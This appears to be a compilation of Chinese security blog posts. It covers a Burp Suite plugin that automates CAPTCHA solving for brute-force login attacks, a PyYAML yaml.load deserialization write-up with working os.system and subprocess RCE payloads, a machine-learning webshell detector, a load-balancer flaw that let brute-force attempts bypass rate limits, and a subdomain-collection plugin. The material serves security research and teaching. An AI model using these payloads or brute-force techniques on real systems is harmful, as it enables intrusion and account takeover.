reCAPTCHA:一款自动识别图形验证码并用于Intruder Payload中的BurpSuite插件

首发:先知技术社区

0x01 简介

一个burp插件,自动识别图形验证码,并用于Intruder中的Payload。

项目主页:https://github.com/bit4woo/reCAPTCHA

0x02 使用

安装:

  1. 这里下载插件。
  2. 将它添加到burp。如果没有遇到错误,你将看到一个新的名为“reCAPTCHA”的tab。

准备:

  1. 通过burp代理访问目标网站的登录界面。
  2. 在proxy中找到获取图形验证码的请求,选中它并点击右键选择“Send to
    reCAPTCHA”,这个请求的信息将被发送到reCAPTCHA。

Send_to.png

  1. 切换到reCAPTCHA标签,并配置所需的参数。当参数配置好后,你可以点击“请求”按钮来测试配置。
  2. http://www.ysdm.net
    的API是目前唯一支持的接口,其中的各项参数需要自行注册帐号并填写,才能成功调用接口完成图片的识别。该API需要的参数如下,请用正确的值替换%s
    ,特别注意typeid值的设定(http://www.ysdm.net/home/PriceType)。

    username=%s&password=%s&typeid=%s

在Intruder中使用:

完成了配置并测试成功后,现在可以在Intruder中使用该插件生成的payload了。有2种情况:用户名或密码之一+验证码;用户名+密码+验证码;

情况一:只有密码或只有用户名需要改变,我们可以用Pitchfork 模式来配置。

比如,已知系统存在一个用户admin,来爆破该用户,插入点标记如下,

index_condition1_mark.png

payload 1我们从文件中加载,这个不必多说。

payload 2 选择“Extension-Generated”.

index_condition1_mark_payload2.png

运行效果如下:

index_condition1.png

情况二:用户名和口令都需要改变,这个稍微复杂点。我们还是使用Pichfork模式,但需要将用户名和密码一起标注为一个插入点。像这样:

index_mark.png

payload 1 使用“自定义迭代器(Custom interator)”。并在迭代器中组合用户名和密码。

在该例子中,即 position 1为用户名,position 2 为“&j_password=”,postion 3为密码。

index1.png

payload 2 的配置和情况一中的配置完全一样。

运行效果如图:

index_mark2.png

0x03 reCAPTCHA界面截图

screenshot.png

0x04 日志

2017-11-01:第一个demo版本发布。

交流群

微信图片_20171106144105.jpg

Python PyYAML反序列化漏洞实验和Payload构造

0x01 概述

什么程序存在漏洞:

使用了PyYAML这个库并且使用了yaml.load而不是yaml.safe_load函数来解析yaml文件的程序

代码审计关键词:

  • import yaml
  • yaml.load(

已知相关漏洞:

  • Remote Code Execution Vulnerability in Ansible-Vault Library. (CVE-2017-2809)
  • https://pypi.python.org/pypi/ansible-vault/1.0.4 ansible-vault <=1.0.4存在这个漏洞,在1.0.5中完成了修复
  • Remote Code Execution Vulnerability in Tablib. (CVE-2017-2810)

0x02 yaml和序列化

yaml和xml、json等类似,都是标记类语言,有自己的语法格式。各个支持yaml格式的语言都会有自己的实现来进行yaml格式的解析(读取和保存),其中PyYAML就是python的一个yaml库。

除了 YAML 格式中常规的列表、字典和字符串整形等类型转化外(基本数据类型),各个语言的 YAML 解析器或多或少都会针对其语言实现一套特殊的对象转化规则(也就是序列化和反序列化,这是关键点,是这个漏洞存在的前提)。比如:PyYAML 在解析数据的时候遇到特定格式的时间数据会将其自动转化为 Python 时间对象

  • 序列化: 将数据结构或对象转换成二进制串(字节序列)的过程
  • 反序列化:将在序列化过程中所生成的二进制串转换成数据结构或者对象的过程

将如下内容保存到sample.yml

date: !!str 2016-03-09
date1:  2016-03-09
weekday: Wednesday
weather: sunny

然后在同一目录下运行如下python 代码:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'

import yaml

print(yaml.load(file('sample.yml', 'r')))

可以看到如下结构,有“!!str”强制类型转换的,就成了字符串格式;没有类型转换的就是python中datetime.date对象。

微信图片_20170922164720.png

0x03 代码执行PoC构造的尝试

以笔者目前初浅的理解,要实现代码执行,就需要序列化和反序列的内容中出现该编程语言中的对象(函数、类),因为的对象的反序列化,是在构建一个对象的实例(实例化的过程)。如果一个对象中有函数的定义,有可执行代码,那么实例化后再通过方法调用或者其他的途径才能使其中的代码到执行。普通数据类型的反序列化只是变量相关的初始化、赋值等操作,不会涉及到逻辑处理的代码块,所有不会有代码的执行!(普通数据类型 = 数据,对象= 函数代码+数据)。

通过跟踪$PYTHON_HOME/lib/site-packages/yaml/constructor.py文件,查看 PyYAML 源码可以得到其针对 Python 语言特有的标签解析的处理函数对应列表,其中有三个和对象相关:

!!python/object:          =>  Constructor.construct_python_object

!!python/object/apply:    =>  Constructor.construct_python_object_apply

!!python/object/new:      =>  Constructor.construct_python_object_new

通过如下代码,来序列化test类中的内容:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'
__filename__ = 'yaml_gen_poc.py'

import yaml
import os

class test:
    def __init__(self):
        os.system('calc.exe')

payload =  yaml.dump(test())

fp = open('simple.yml','w')
fp.write(payload)

可以看到simple.yml中写入的内容如下:

!!python/object:yaml_gen_poc.test {}

再运行yaml_verify.py来验证:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'
__filename__ = "yaml_verify.py"

import yaml

yaml.load(file('simple.yml', 'r'))

微信图片_20170922164726.png

成功执行了命令,弹出计算器。但是yaml_verify.py的成功运行,需要依赖yaml_gen_poc.py,因为它会根据yml文件中的指引去读取yaml_gen_poc.py中的test这个对象(类)。如果删除yaml_gen_poc.py,也将运行失败。

0x04 构造通用payload

那么我们怎样消除这个依赖呢?就是将其中的类、或者函数 换成python标准库中的类或者函数。

直接修改yml文件为:

!!python/object:os.system ["calc.exe"]

再运行,失败(显示参数未传递:TypeError: system() takes exactly 1 argument (0 given)),尝试查看源码、并变换yml文件中语句格式,均未成功!(疑难点)。

修改为以下2种均成功,通过源码得知,new其实是调用了apply,他们的不同的地方是创建对象的方式,这里可以大致认为它们是一样的。

!!python/object/apply:os.system ["calc.exe"]

!!python/object/new:os.system ["calc.exe"]

既然解决了依赖问题,那我们就尝试构建一些有用的poc吧,从官方标准库里找可以用来执行命令的函数:https://docs.python.org/2/library/index.html

!!python/object/apply:subprocess.check_output [[calc.exe]]

!!python/object/apply:subprocess.check_output ["calc.exe"]

!!python/object/apply:subprocess.check_output [["calc.exe"]]

!!python/object/apply:os.system ["calc.exe"]

!!python/object/new:subprocess.check_output [["calc.exe"]]

!!python/object/new:os.system ["calc.exe"]

..................

本文测试代码地址:

https://github.com/bit4woo/sharexmind/tree/master/YamlRCE

0x05 参考

利用sklearn检测webshell

环境搭建

Window

  • 安装IDE Anaconda

Anaconda在python语言外,还集成了numpy、scipy、matplotlib等科学计算包,以及beautiful-soup、requests、lxml等网络相关包。安装Anaconda后,基本不再需要费劲地安装其他第三方库了。

Mac Install

webshell检测

NeoPI可以生成文件的信息熵,最长单词、重合指数、特征以及压缩比等,个人感觉应该比但存通过1-gram、2-gram分词效果要好。

  1. 信息熵(Entropy):通过使用ASCII码表来衡量文件的不确定性。
  2. 最长单词(Longest Word):最长的字符串也许潜在的被编码或被混淆。
  3. 重合指数(Index of Coincidence):低重合指数预示文件代码潜在的被加密或被混效过。
  4. 特征(Signature):在文件中搜索已知的恶意代码字符串片段。
  5. 压缩(Compression):对比文件的压缩比。(more info)

黑样本

tennc ysrc tdifg tanjiti

白样本

Wordpress joomla

样本向量化

python neopi.py --csv=joomla.csv -a -A /Users/0c0c0f/soft/threathunter/joomla-cms

测试代码

import numpy as np
from sklearn import tree
from sklearn import linear_model
from sklearn.naive_bayes import GaussianNB
from sklearn import svm
from sklearn import ensemble
from sklearn import neighbors

def loubao_desc(algorithm,y_pred):
    num=0
    sum=0
    for p in y_pred:
        if p==0.0:
            num = num+1
        sum = sum+1
    print(algorithm,"漏报率:",num/sum)

def wubao_desc(algorithm,y_pred):
    num=0
    sum=0
    for p in y_pred:
        if p==1.0:
            num = num+1
        sum = sum+1
    print(algorithm,"误报率:",num/sum)

training = "/Users/0c0c0f/soft/threathunter/thwebshellldetect/traning.csv"
testing_black = "/Users/0c0c0f/soft/threathunter/thwebshellldetect/tdifg.csv"
testing_white = "/Users/0c0c0f/soft/threathunter/thwebshellldetect/joomla.csv"

training_data = np.loadtxt(open(training,"r"), delimiter=",")
debug = 1
if debug==0:
    testing_data = np.loadtxt(open(testing_black,"r"), delimiter=",")
else:
    testing_data = np.loadtxt(open(testing_white,"r"), delimiter=",")
X = training_data[:,0:4]
y = training_data[:,5]

X1 = testing_data[:,0:4]

# 朴素贝叶斯
gnb = GaussianNB()
y_pred = gnb.fit(X, y).predict(X1)
if debug==0:
    loubao_desc('朴素贝叶斯',y_pred)
else:
    wubao_desc('朴素贝叶斯', y_pred)

# 决策树
dtc = tree.DecisionTreeClassifier()
y_pred =dtc.fit(X, y).predict(X1)
if debug==0:
    loubao_desc('决策树',y_pred)
else:
    wubao_desc('决策树', y_pred)

# 逻辑回归
lr = linear_model.LinearRegression()
y_pred =lr.fit(X, y).predict(X1)
if debug==0:
    loubao_desc('逻辑回归',y_pred)
else:
    wubao_desc('逻辑回归', y_pred)

# 支持向量机
svc = svm.SVC()
y_pred =svc.fit(X, y).predict(X1)
if debug==0:
    loubao_desc('支持向量机',y_pred)
else:
    wubao_desc('支持向量机', y_pred)

# k近邻
knc = neighbors.KNeighborsClassifier()
y_pred = knc.fit(X, y).predict(X1)
if debug==0:
    loubao_desc('k近邻',y_pred)
else:
    wubao_desc('k近邻', y_pred)

测试结果

  • 朴素贝叶斯 漏报率: 0.4879032258064516
  • 决策树 漏报率: 0.0
  • 逻辑回归 漏报率: 0.0
  • 支持向量机 漏报率: 0.04838709677419355
  • k近邻 漏报率: 0.020161290322580645
  • 朴素贝叶斯 误报率: 0.004206393718452047
  • 决策树 误报率: 0.2501402131239484
  • 逻辑回归 误报率: 0.0
  • 支持向量机 误报率: 0.26472237801458215
  • k近邻 误报率: 0.2526640493550196

逻辑回归检测webshell最优

参考

大力出奇迹:Web架构中的安全问题一例

前言

在一次对线上业务的测试中,遇到过一个奇怪的问题,经排查和LVS以及后台应用服务的同步有关,现在分享如下;并对web架构的基础知识和个人经验认为可能存在的问题做简单的总结。

现象

  1. 爆破接口本来是做了防护的,即当某IP的请次数超过一定的阀值后返回403(正常请求返回的是200),但是大量的多线程请求中出现了某些请求仍然正常的情况。如图:

burp.png

  1. 在某次对另一个业务的测试中,也发现了类似的问题。某登录接口,多次尝试后开始要求图形验证码确认,但当用户多次点击按钮请求,图形验证码要求却消失了。

原因

经过运维的排查,发现根本原因是后端多台服务器配置不一致导致的,比如有三台服务器的代码是最新的,有防护策略,而有一台服务器的代码没有得到更新,没有防护策略,当多次请求的时候,LVS将流量指向了没有启用防护策略的服务器,响应包也就没有要求图形验证或响应正常,从而导致了多个请求中存在了无需验证的数据包。

测试方法和利用

多线程、高并发请求;这些大量异常包中的正常请求也是有可能被利用的,比如,如果LVS是轮询算法,即每N次就有一次可利用的请求。

总结

现在的web应用早已不是单台服务器的时代了,往往都有一个庞大的web架构来支撑一个应用。个人学习了一下相关基础知识,并根据经验罗列了一下这些架构中可能存在的问题。

习惯了通过思维导图来记录知识,高清大图请点击或者右键查看:

xmind.png

Xmind源文件请访问Github获取。

BurpSuite插件:利用BurpSuite Spider收集子域名和相似域名

前言

在我的域名收集知识体系中,利用爬虫来获取域名是其中的一部分(见文末思维导图,其他部分的实现请访问我的另外一个项目:https://github.com/bit4woo/Teemo ),由于使用频率,使用习惯等问题,而我最终决定使用BurpSuite的Spider来实现爬虫部分的自动化收集。所以有了这个BurpSuite插件:Domain Hunter。

原理

当使用了BurpSuite作为代理,或者使用它进行了安全测试,会就会记录相关的域名。其中,某个目标的子域名和相似域名很有价值,尤其是相似域名,往往有惊喜!插件的主要原理就是从BurpSuite的Sitemap中搜索出子域名和相似域名。也可以对已经发现的子域名进行主动爬取,以发现更多的相关域名,这个动作可以自己重复递归下去,直到没有新的域名发现为止。

项目地址

https://github.com/bit4woo/domain_hunter

Screenshot

screenshot1.png

Change Log

2017-07-28: Add a function to crawl all known subdomains; fix some bug.

Xmind Of Domain Collection

xmind.png